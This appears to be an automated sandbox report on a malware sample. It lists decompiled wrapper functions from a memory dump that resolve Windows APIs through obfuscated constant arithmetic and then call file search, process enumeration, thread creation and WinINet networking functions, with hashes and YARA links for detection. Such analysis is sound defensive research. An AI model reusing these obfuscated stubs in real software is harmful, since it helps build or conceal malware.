Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ManagerOpen
String ID: OMk$|
API String ID: 1889721586-2935449709
Opcode ID: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction ID: 1d80d5bf462f7d76a803e315767f53b854081a7213ef634c08bc69ad92fa0287
Opcode Fuzzy Hash: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction Fuzzy Hash: 6D1113B2C0022CBBEB11DFA5D94A8EFBFB4EF44318F108188E91466201D3B95B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 1001E9E8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
fileCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E1001E9E8(void* __ecx, void* __edx, struct _WIN32_FIND_DATAW* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t39;
				int _t47;
				void* _t51;

				_push(_a16);
				_t51 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E10022523(_t39);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x7dd1c2;
				_v20 = 0xe6ed41;
				_v20 = _v20 ^ 0x6eedbecd;
				_v20 = _v20 * 0x45;
				_v20 = _v20 ^ 0xa90eba26;
				_v16 = 0x25fde1;
				_v16 = _v16 + 0xffffc5d1;
				_v16 = _v16 | 0x325ad611;
				_v16 = _v16 ^ 0x3277e624;
				_v8 = 0x448e1b;
				_v8 = _v8 | 0xd7f3ffef;
				_v8 = _v8 ^ 0xcff08007;
				_v8 = _v8 ^ 0x180d74c6;
				_v12 = 0x3a9cbc;
				_v12 = _v12 | 0xfe729dd7;
				_v12 = _v12 ^ 0xfe7a3202;
				E10002309(0x2de, __ecx, __ecx, 0xa7d3fbc8, __ecx, 0x9c9047d0);
				_t47 = FindNextFileW(_t51, _a4); // executed
				return _t47;
			}

0x1001e9ef
0x1001e9f2
0x1001e9f4
0x1001e9f7
0x1001e9fa
0x1001e9fe
0x1001e9ff
0x1001ea04
0x1001ea0b
0x1001ea12
0x1001ea19
0x1001ea30
0x1001ea33
0x1001ea3a
0x1001ea41
0x1001ea48
0x1001ea4f
0x1001ea56
0x1001ea5d
0x1001ea64
0x1001ea6b
0x1001ea72
0x1001ea79
0x1001ea80
0x1001ea99
0x1001eaa5
0x1001eaab

APIs

FindNextFileW.KERNELBASE(00000000,FE7A3202,?,?,?,?,?,?,?,?,?,?,00000072), ref: 1001EAA5

Strings

A, xrefs: 1001EA12
$w2, xrefs: 1001EA4F

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileFindNext
String ID: $w2$A
API String ID: 2029273394-2068021171
Opcode ID: 489ae82eb01001db2e27a8813198e8620566e78ec9ea4fd3dbf43d66dbc97652
Instruction ID: dada94e113a69792e10164e03f2a25d9c6497d738665c24ecae0a8d857d7b4ee
Opcode Fuzzy Hash: 489ae82eb01001db2e27a8813198e8620566e78ec9ea4fd3dbf43d66dbc97652
Instruction Fuzzy Hash: 75110DB5C0121DABCF05DFE8DA068AEBFB4FB00300F108589E915A6260E3B55B209FA5

Uniqueness

Uniqueness Score: -1.00%

Function 10008A5E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
networkCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E10008A5E(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a24, WCHAR* _a36, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, WCHAR* _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				WCHAR* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t45;
				void* _t52;
				void* _t57;

				_push(_a56);
				_t57 = __edx;
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(0);
				_push(_a36);
				_push(0);
				_push(0);
				_push(_a24);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t45);
				_v32 = 0xd5d112;
				_v28 = 0x50513d;
				_v24 = 0;
				_v12 = 0x46c43;
				_v12 = _v12 + 0xffffdfef;
				_v12 = _v12 | 0x9d8b3e1d;
				_v12 = _v12 ^ 0x9d8347af;
				_v20 = 0x816eb9;
				_v20 = _v20 + 0xffff29e2;
				_v20 = _v20 ^ 0x0080c9d8;
				_v8 = 0x807982;
				_v8 = _v8 | 0x5015719e;
				_v8 = _v8 ^ 0xfbfa9e2f;
				_v8 = _v8 ^ 0xab6f9dce;
				_v16 = 0xec1576;
				_v16 = _v16 >> 0xb;
				_v16 = _v16 ^ 0x000e8763;
				E10002309(0x18c, __ecx, __ecx, 0xb50c381d, __ecx, 0xc0cf1a4);
				_t52 = HttpOpenRequestW(_t57, _a36, _a56, 0, 0, 0, _a24, 0); // executed
				return _t52;
			}

0x10008a66
0x10008a6b
0x10008a6d
0x10008a70
0x10008a73
0x10008a76
0x10008a77
0x10008a7a
0x10008a7b
0x10008a7c
0x10008a7f
0x10008a80
0x10008a83
0x10008a86
0x10008a89
0x10008a8c
0x10008a8d
0x10008a8e
0x10008a93
0x10008a9d
0x10008aa4
0x10008aa7
0x10008aae
0x10008ab5
0x10008abc
0x10008ac3
0x10008aca
0x10008ad1
0x10008ad8
0x10008adf
0x10008ae6
0x10008aed
0x10008af4
0x10008afb
0x10008aff
0x10008b24
0x10008b3a
0x10008b41

APIs

HttpOpenRequestW.WININET(?,?,?,00000000,00000000,00000000,00D5D112,00000000), ref: 10008B3A

Strings

=QP, xrefs: 10008A9D

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: HttpOpenRequest
String ID: =QP
API String ID: 1984915467-456757808
Opcode ID: 4cc3d4786cdcc23149290c3469cd4bf7c683ba33055c948049ab044fbc38bf75
Instruction ID: e3fac8015c3a145f5e17db1b8b22e466714549d15e7afe1ebd96c96d83fff2fb
Opcode Fuzzy Hash: 4cc3d4786cdcc23149290c3469cd4bf7c683ba33055c948049ab044fbc38bf75
Instruction Fuzzy Hash: E321F0B2801208BB8F559F95CC4ACDFBF79EF85700F108148B914A6221D3B18A65DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 100142E4, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E100142E4(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				long _v24;
				long _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t43;
				char _t54;
				signed int _t57;
				void* _t62;
				void* _t63;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_t63 = __ecx;
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v36 = 0xead706;
				_v32 = 0x8aaadf;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x3b6f9b;
				_t57 = 0x3f;
				_v12 = _v12 * 0xe;
				_v12 = _v12 << 0x10;
				_v12 = _v12 ^ 0x1a7fe3f0;
				_v20 = 0x6318b1;
				_v20 = _v20 | 0x2b2fc1f2;
				_v20 = _v20 ^ 0x2b6f417a;
				_v8 = 0xeb56a2;
				_v8 = _v8 << 1;
				_v8 = _v8 / _t57;
				_v8 = _v8 * 0x2f;
				_v8 = _v8 ^ 0x015d5ff9;
				_v16 = 0x2619ef;
				_v16 = _v16 << 6;
				_v16 = _v16 ^ 0x098e35d6;
				E10002309(_t57 + 0x4d, _t57, _t57, 0x52f9059f, _t57, 0x9c9047d0);
				_t54 = RtlFreeHeap(_t62, 0, _t63); // executed
				return _t54;
			}

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,072B1AC5,00000000,00000000), ref: 100143AA

Strings

zAo+, xrefs: 10014350

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID: zAo+
API String ID: 3298025750-440923707
Opcode ID: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction ID: 613f1e34ca62f437a9a883da1f6942e021cbcbe0c1bd7b5908013fed4c35e44f
Opcode Fuzzy Hash: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction Fuzzy Hash: 4D2128B1D00218FF9B08CF99D98A8EEBFB9FB44344F508199E515A7240D3B05B149B90

Uniqueness

Uniqueness Score: -1.00%

Function 1001A4A0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E1001A4A0(void* __ecx, void* __edx, intOrPtr _a4, struct tagPROCESSENTRY32W _a8) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t40;
				int _t49;
				void* _t51;
				void* _t54;

				_push(_a8);
				_t54 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t40);
				_v36 = 0x141422;
				asm("stosd");
				_push(0x9c9047d0);
				asm("stosd");
				_push(__ecx);
				_push(0xb41b9fb1);
				_push(__ecx);
				asm("stosd");
				_v20 = 0x6e8e4;
				_v20 = _v20 << 1;
				_push(__ecx);
				_t51 = 0x1c;
				_v20 = _v20 * 0x65;
				_v20 = _v20 ^ 0x05792b89;
				_v8 = 0x17694a;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 + 0x7593;
				_v8 = _v8 + 0x3dc6;
				_v8 = _v8 ^ 0x000c8dea;
				_v16 = 0x6183ab;
				_v16 = _v16 << 3;
				_v16 = _v16 | 0x753fc9cb;
				_v16 = _v16 ^ 0x773f8770;
				_v12 = 0x2bda5d;
				_v12 = _v12 + 0xffff2e51;
				_v12 = _v12 ^ 0x7ae43c2f;
				_v12 = _v12 ^ 0x7acc85af;
				E10002309(_t51);
				_t49 = Process32NextW(_t54, _a8); // executed
				return _t49;
			}

0x1001a4a8
0x1001a4ab
0x1001a4ad
0x1001a4b1
0x1001a4b2
0x1001a4b7
0x1001a4c6
0x1001a4c7
0x1001a4cc
0x1001a4cd
0x1001a4ce
0x1001a4d3
0x1001a4d4
0x1001a4d5
0x1001a4dc
0x1001a4e3
0x1001a4e6
0x1001a4e7
0x1001a4ea
0x1001a4f1
0x1001a4f8
0x1001a4fc
0x1001a503
0x1001a50a
0x1001a511
0x1001a518
0x1001a51c
0x1001a523
0x1001a52a
0x1001a531
0x1001a538
0x1001a53f
0x1001a552
0x1001a55e
0x1001a565

APIs

Process32NextW.KERNEL32(00000000,773F8770,?,?,?,?,?,?,?,?,00000000), ref: 1001A55E

Strings

/<z, xrefs: 1001A538

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: NextProcess32
String ID: /<z
API String ID: 1850201408-2186077011
Opcode ID: ee7739c6ebbc081d39b179a51fe32828a234b3ca8a11d0ef1921ab7f81e9d2f1
Instruction ID: fe2aaa9a1361a1a154884f8a60365b416c3a0efbb757641ba6deba505f0aaf21
Opcode Fuzzy Hash: ee7739c6ebbc081d39b179a51fe32828a234b3ca8a11d0ef1921ab7f81e9d2f1
Instruction Fuzzy Hash: 36215675C01219FBDF04CF95C84A8DEBBB4FB44314F108589E818A6250D3B86B449F90

Uniqueness

Uniqueness Score: -1.00%

Function 1000F2CC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
networkCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E1000F2CC(void* __edx, intOrPtr _a4, intOrPtr _a8, long _a12, intOrPtr _a32) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				intOrPtr _v28;
				void* __ecx;
				void* _t36;
				void* _t44;
				void* _t46;

				_push(_a32);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t36);
				_v28 = 0x481ca4;
				_v24 = 0;
				_v20 = 0xca1952;
				_v20 = _v20 ^ 0x1684c8f8;
				_v20 = _v20 ^ 0x16482d99;
				_v12 = 0xc193bc;
				_v12 = _v12 ^ 0x27e4a297;
				_v12 = _v12 | 0xa7673761;
				_v12 = _v12 ^ 0xa76f04da;
				_v8 = 0xc5b902;
				_push(0xc0cf1a4);
				_push(_t45);
				_push(0xb325898b);
				_push(_t45);
				_v8 = _v8 * 0x4e;
				_v8 = _v8 >> 4;
				_v8 = _v8 ^ 0x03c56f69;
				_v16 = 0x24ec4f;
				_v16 = _v16 + 0xffffc13d;
				_v16 = _v16 ^ 0x002fbbc3;
				_push(_t45);
				_t46 = 0x50;
				E10002309(_t46);
				_t44 = InternetOpenW(0, _a12, 0, 0, 0); // executed
				return _t44;
			}

0x1000f2d3
0x1000f2d8
0x1000f2d9
0x1000f2da
0x1000f2db
0x1000f2dc
0x1000f2df
0x1000f2e2
0x1000f2e7
0x1000f2ec
0x1000f2f6
0x1000f2f9
0x1000f300
0x1000f307
0x1000f30e
0x1000f315
0x1000f31c
0x1000f323
0x1000f32a
0x1000f335
0x1000f33a
0x1000f33b
0x1000f340
0x1000f341
0x1000f344
0x1000f348
0x1000f34f
0x1000f356
0x1000f35d
0x1000f370
0x1000f373
0x1000f374
0x1000f383
0x1000f389

APIs

InternetOpenW.WININET(00000000,16482D99,00000000,00000000,00000000), ref: 1000F383

Strings

O$, xrefs: 1000F34F

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: InternetOpen
String ID: O$
API String ID: 2038078732-838329570
Opcode ID: bfd598ea9fc20005dd18c51756325e876dca57c81b5a8b40325e3a3f8c113345
Instruction ID: 8289a683938989030ca0da7dfac6b892ab059c1ea5f0d65067220e4f4b31d72f
Opcode Fuzzy Hash: bfd598ea9fc20005dd18c51756325e876dca57c81b5a8b40325e3a3f8c113345
Instruction Fuzzy Hash: FA1113B1C0122DBB9B15DFA58C4A8DFBFB8EF05654F108589F814A6110C3B15A54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000E0A2, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 1000E168

Strings

|p, xrefs: 1000E0FA

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: InfoNativeSystem
String ID: |p
API String ID: 1721193555-2455131449
Opcode ID: 1373000f67fd09352ab480020baae7fa00b59f1f2ab89e5c019d1be64afd4c0b
Instruction ID: 87fad81da9970c7bb3d4b7ae9dd0f5802466cf3bbb0c04d9c31e1761e8e9e04e
Opcode Fuzzy Hash: 1373000f67fd09352ab480020baae7fa00b59f1f2ab89e5c019d1be64afd4c0b
Instruction Fuzzy Hash: 662138B6D00318FFDB48CFA4C8468EEBBB4FB44310F108599E41566291D3B85B50CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1001199D, Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001199D(void* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28, long _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t55;
				void* _t68;
				signed int _t69;
				signed int _t70;

				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t55);
				_v12 = 0xd4f63c;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0xf;
				_v12 = _v12 + 0xffffff46;
				_v12 = _v12 ^ 0xd4fb5fe8;
				_v8 = 0x967d18;
				_v8 = _v8 + 0xffffef98;
				_t69 = 0x14;
				_v8 = _v8 / _t69;
				_t70 = 0x4a;
				_v8 = _v8 / _t70;
				_v8 = _v8 ^ 0x000a0722;
				_v20 = 0x4653bc;
				_v20 = _v20 * 0x70;
				_v20 = _v20 ^ 0x1ec2604c;
				_v16 = 0x7577a9;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x1b87e59a;
				E10002309(0x10a, _t70, _t70, 0xb484d458, _t70, 0x9c9047d0);
				_t68 = CreateFileW(_a4, _a24, _a28, 0, _a32, _a20, 0); // executed
				return _t68;
			}

APIs

CreateFileW.KERNEL32(?,?,?,00000000,?,?,00000000), ref: 10011A79

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction ID: 4460bfc2ec69cb6a9c9d4ae8ab6b4977e7447a0d843199ae8caee7af6f2384ce
Opcode Fuzzy Hash: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction Fuzzy Hash: E021E27280021DFBDF05CF95D8498DEBFB6EF49354F108188F91466260D3B69A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 100230FB, Relevance: 1.6, APIs: 1, Instructions: 70
networkCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E100230FB(WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, long _a16, intOrPtr _a20, void* _a24, intOrPtr _a32, intOrPtr _a36, signed int _a40, intOrPtr _a48) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t57;
				signed int _t58;
				short _t63;

				_t63 = _a40;
				_push(_a48);
				_push(0);
				_push(_t63 & 0x0000ffff);
				_push(_a36);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(0);
				E10022523(_t63 & 0x0000ffff);
				_a40 = 0x441dde;
				_a40 = _a40 | 0xef6c71fd;
				_a40 = _a40 + 0xffff46ca;
				_a40 = _a40 ^ 0xef65f1b7;
				_v16 = 0x4e992b;
				_v16 = _v16 << 0xe;
				_v16 = _v16 ^ 0xa64ff1a5;
				_v12 = 0xdc7938;
				_t58 = 0x71;
				_v12 = _v12 / _t58;
				_v12 = _v12 << 5;
				_v12 = _v12 ^ 0x00369a6d;
				_v8 = 0xc2c26;
				_v8 = _v8 << 7;
				_v8 = _v8 << 3;
				_v8 = _v8 ^ 0x30b97202;
				E10002309(0x185, _t58, _t58, 0x3cfe7f69, _t58, 0xc0cf1a4);
				_t57 = InternetConnectW(_a24, _a4, _t63, 0, 0, _a16, 0, 0); // executed
				return _t57;
			}

0x10023102
0x10023106
0x1002310e
0x1002310f
0x10023110
0x10023113
0x10023116
0x10023117
0x1002311a
0x1002311d
0x10023120
0x10023123
0x10023126
0x10023129
0x1002312a
0x1002312b
0x10023130
0x1002313a
0x10023143
0x1002314a
0x10023151
0x10023158
0x1002315c
0x10023163
0x1002316f
0x10023177
0x1002317a
0x1002317e
0x10023185
0x1002318c
0x10023190
0x10023194
0x100231b4
0x100231ca
0x100231d1

APIs

InternetConnectW.WININET(?,00369A6D,?,00000000,00000000,?,00000000,00000000), ref: 100231CA

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: a94079c84f44fd79cf2d8e21410448fccbf556cf6765277f06ac4260a9b0b9f5
Instruction ID: e8187c32b4ec5569a964266e9532cb42533e4eb402820abbfec73acb79da3654
Opcode Fuzzy Hash: a94079c84f44fd79cf2d8e21410448fccbf556cf6765277f06ac4260a9b0b9f5
Instruction Fuzzy Hash: 28212876900248BBDF01CFA6DC49CDFBFB9EB89B14F118149F92466220C7759A60DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100138CA, Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E100138CA(void* __ecx, intOrPtr _a8, _Unknown_base(*)()* _a12, void* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a32, intOrPtr _a40) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t44;
				void* _t54;
				signed int _t56;

				_push(_a40);
				_push(0);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(0);
				E10022523(_t44);
				_v8 = 0x81d8e3;
				_v8 = _v8 | 0x29cc6377;
				_t56 = 0x4e;
				_v8 = _v8 / _t56;
				_v8 = _v8 + 0xffff28cb;
				_v8 = _v8 ^ 0x008a8115;
				_v20 = 0x37a592;
				_v20 = _v20 | 0x4431b854;
				_v20 = _v20 ^ 0x44318d0b;
				_v16 = 0x83d7ad;
				_v16 = _v16 | 0x0c5d9c08;
				_v16 = _v16 ^ 0x0cde7e94;
				_v12 = 0xac61ec;
				_v12 = _v12 + 0xffff443d;
				_v12 = _v12 * 0x13;
				_v12 = _v12 ^ 0x0cbd13a0;
				E10002309(0x347, _t56, _t56, 0x49f4d21, _t56, 0x9c9047d0);
				_t54 = CreateThread(0, 0, _a12, _a16, 0, 0); // executed
				return _t54;
			}

0x100138d1
0x100138d6
0x100138d7
0x100138da
0x100138db
0x100138de
0x100138e1
0x100138e4
0x100138e7
0x100138ea
0x100138eb
0x100138ed
0x100138f2
0x100138fc
0x1001390a
0x10013912
0x10013915
0x1001391c
0x10013923
0x1001392a
0x10013931
0x10013938
0x1001393f
0x10013946
0x1001394d
0x10013954
0x10013967
0x1001396f
0x10013982
0x10013994
0x1001399a

APIs

CreateThread.KERNEL32(00000000,00000000,44318D0B,?,00000000,00000000), ref: 10013994

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4ee66b657200ea8511f1b49f91465a58aa226465ce330f2d495d8e9b8aa70771
Instruction ID: 5a6dbe2e242c64283d159b8d6af8574c24e4c451ce92a937a7e8d2536125472d
Opcode Fuzzy Hash: 4ee66b657200ea8511f1b49f91465a58aa226465ce330f2d495d8e9b8aa70771
Instruction Fuzzy Hash: 6921E275801219BBCF15CFE9DD4A8DFBFB9FF09214F108188F918A6120D3B19A249FA0

Uniqueness

Uniqueness Score: -1.00%

Function 10002985, Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E10002985(long __ecx, long __edx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				void* _t43;
				void* _t53;
				signed int _t55;
				long _t60;
				long _t61;

				_push(_a12);
				_t60 = __edx;
				_t61 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v20 = 0x610f25;
				_v20 = _v20 ^ 0x98bdb346;
				_v20 = _v20 >> 3;
				_v20 = _v20 ^ 0x13199c72;
				_v16 = 0x24641b;
				_t55 = 0x72;
				_v16 = _v16 * 0x35;
				_v16 = _v16 ^ 0xfebd96de;
				_v16 = _v16 ^ 0xf931a9e3;
				_v12 = 0x6331a9;
				_v12 = _v12 >> 0xb;
				_v12 = _v12 / _t55;
				_v12 = _v12 ^ 0x0006f398;
				_v8 = 0x8145a8;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 << 0xd;
				_v8 = _v8 + 0x8268;
				_v8 = _v8 ^ 0x0405b518;
				E10002309(_t55 + 0x5d, _t55, _t55, 0x9d19c04e, _t55, 0x9c9047d0);
				_t53 = RtlAllocateHeap(_a8, _t60, _t61); // executed
				return _t53;
			}

APIs

RtlAllocateHeap.NTDLL(F931A9E3,01AD2A76,65B9EDAF,?,?,?,?,?,?,?,?,00000000,229292B5), ref: 10002A3E

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction ID: a28c389faf7b726d87918facb3c60479c9af1eed29e3a2ef13c7030710ba699e
Opcode Fuzzy Hash: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction Fuzzy Hash: 84215372C00208BBDF18CFA8D84A8DEBFB5FB41710F108098E824A6210E3B4AB14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 10017708, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 100177B6

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction ID: e01db37ee4e11aec0ed8fe9f4a455c9f05bd25de310d07c039ce80a3f7d39afa
Opcode Fuzzy Hash: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction Fuzzy Hash: CC1134B6D00209FBDB08CFA4D94A9AEBBB4FF44304F108189E814AB251E3B09B108F91

Uniqueness

Uniqueness Score: -1.00%

Function 1001A566, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001A566(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t31;
				int _t39;

				_push(_a4);
				_push(__ecx);
				E10022523(_t31);
				_v20 = 0xa80c31;
				_v20 = _v20 * 0x6c;
				_v20 = _v20 ^ 0x46e6f799;
				_v16 = 0x35d7e6;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xbafefac0;
				_v12 = 0x55f9ae;
				_v12 = _v12 + 0xffffbfa6;
				_v12 = _v12 | 0xf8d2795e;
				_v12 = _v12 ^ 0xf8daa7f9;
				_v8 = 0xe46cfe;
				_v8 = _v8 ^ 0xeb94df75;
				_v8 = _v8 | 0xf69b0666;
				_v8 = _v8 ^ 0xfffa92dc;
				E10002309(0x148, __ecx, __ecx, 0x2237d547, __ecx, 0x9c9047d0);
				_t39 = FindCloseChangeNotification(_a4); // executed
				return _t39;
			}

APIs

FindCloseChangeNotification.KERNEL32(F8DAA7F9), ref: 1001A601

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction ID: 916d80f1436c55e495bde87e87ea32654bf5eec04e964754689aa7ec780072d2
